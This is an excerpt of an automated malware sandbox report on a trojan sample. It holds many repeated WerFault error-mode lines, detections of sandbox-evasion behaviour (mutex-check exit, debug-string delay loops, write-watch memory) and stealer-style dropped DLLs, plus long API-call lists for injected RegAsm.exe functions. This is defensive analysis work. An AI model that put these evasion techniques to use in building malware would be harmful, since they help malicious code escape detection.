Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Tries to delay execution (extensive OutputDebugStringW loop)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: OutputDebugStringW count: 1937
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory allocated: 3000000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory allocated: 31E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Memory allocated: 51E0000 memory reserve | memory write watch Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\sqlite3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\nss3.dll Jump to dropped file
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040DC49 SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalAlloc,lstrlenA,FindFirstFileA,FindClose,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW, 3_2_0040DC49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00404B50 SetEnvironmentVariableA,CreateSemaphoreA,GetLastError,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,CreateMutexA,CreateFileMappingW,RegOpenKeyExA,CloseHandle,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateFileMappingW,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateEventA,SetEvent,ResetEvent,LocalAlloc,GetLastError,LocalFree,LocalFree,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CreateSemaphoreA,GetLastError,ReleaseSemaphore,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,CreateFileMappingW,CloseHandle,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,CreateWaitableTimerA,CreateSemaphoreA,CancelWaitableTimer,SetEnvironmentVariableA,CreateFileMappingW,FindCloseChangeNotification,CreateMutexA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,FindFirstFileA,FindClose,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,ReleaseSemaphore,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,ReleaseSemaphore,CreateFileMappingW,FindCloseChangeNotification,CreateWaitableTimerA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,CreateFileMappingW,CreateFileMappingW,FindCloseChangeNotification,CreateFileMappingW,RegOpenKeyExA,CloseHandle,LocalAlloc,CreateMutexA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateMutexA,ReleaseMutex,LocalAlloc,RegOpenKeyExA,LocalFree,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,OutputDebugStringA,ReleaseSem 3_2_00404B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409ADC EntryPoint,LocalAlloc,LocalFree,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,CoInitialize,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,OutputDebugStringA,SetEnvironmentVariableA,CancelWaitableTimer,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,ExitProcess,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,FindFirstFileA,FindClose,LocalAlloc,LocalFree,GetLastError,SetEnvironmentVariableA,CreateWaitableTimerA,GetLastError,GetLastError,OutputDebugStringA,CancelWaitableTimer,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,SetEnvironmentVariableA,LocalAlloc,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,LocalAlloc,SetEnvironmentVariableA,LocalFree,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,FindCloseChangeNotification,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateFileMappingW,CloseHandle,CreateMutexA,ReleaseMutex,RegOpenKeyExA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,CreateMutexA,ReleaseMutex,LocalAlloc,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateEventA,SetEvent,ResetEvent,LocalAlloc,OutputDebugStringA,LocalFree,OutputDebugStringA,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CreateWa 3_2_00409ADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F4F1 CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,CreateFileMappingW,CloseHandle,FindCloseChangeNotification,LocalAlloc,LocalFree,FindFirstFileA,LocalAlloc,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,CreateMutexA,ReleaseMutex,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,RegQueryValueExW,RegQueryValueExW, 3_2_0040F4F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040ED79 lstrlenA,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,RegOpenKeyExA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,MultiByteToWideChar,CreateFileMappingW,GetLastError,FindCloseChangeNotification,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,LocalAlloc,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalFree,OutputDebugStringA,SetEnvironmentVariableA, 3_2_0040ED79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040EB7B CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateSemaphoreA,ReleaseSemaphore,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalFree, 3_2_0040EB7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E48D OutputDebugStringA,CreateWaitableTimerA,CreateSemaphoreA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,CreateWaitableTimerA,LocalAlloc,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,FindFirstFileA,FindClose,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,GetLastError,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,LocalAlloc,SetEnvironmentVariableA,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,SetEnvironmentVariableA,SHGetFolderPathW,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateFileMappingW,RegOpenKeyExA,CloseHandle,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,StrCpyW,LocalFree,LocalFree, 3_2_0040E48D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F012 CancelWaitableTimer,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,CreateFileMappingW,FindCloseChangeNotification,LocalAlloc,GetLastError,GetLastError,LocalFree,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,RegOpenKeyExA,LocalAlloc,GlobalFree, 3_2_0040F012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004070C9 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_004070C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040194A FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose, 3_2_0040194A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409452 LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,LocalFree,LocalFree, 3_2_00409452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410952 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_00410952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CA58 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_0040CA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004105DE LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose, 3_2_004105DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00403BE6 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00403BE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E179 CreateEventA,SetEvent,ResetEvent,CreateMutexA,RegOpenKeyExA,ReleaseMutex,GetLastError,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,RegOpenKeyExA,LocalAlloc,OutputDebugStringA,LocalFree,SetEnvironmentVariableA,CreateFileMappingW,FindFirstFileW, 3_2_0040E179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004084FB LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004084FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F788 LocalAlloc,GetLastError,GetLastError,LocalFree,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateFileMappingW,RegOpenKeyExA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,FindFirstFileA,FindClose,LocalAlloc,LocalFree,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,GetLastError,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateFileMappingW,GetLastError,CloseHandle,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateSemaphoreA,GetLastError,ReleaseSemaphore,RegOpenKeyExA,LocalAlloc,LocalFree,RegOpenKeyExA,GetLastError,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,StrCpyW,LocalFree, 3_2_0040F788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00408109 OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW, 3_2_00408109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040FC1E CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateFileMappingW,SetEnvironmentVariableA,SetEnvironmentVariableA,CloseHandle,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,GetLastError,CancelWaitableTimer,GetLastError,CreateToolhelp32Snapshot,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,GetLastError,ReleaseSemaphore,RegOpenKeyExA,OutputDebugStringA,Process32FirstW,lstrcmpiW,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,OutputDebugStringA,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,GetLastError,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,CreateMutexA,ReleaseMutex,GetLastError,SetEnvironmentVariableA,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle, 3_2_0040FC1E
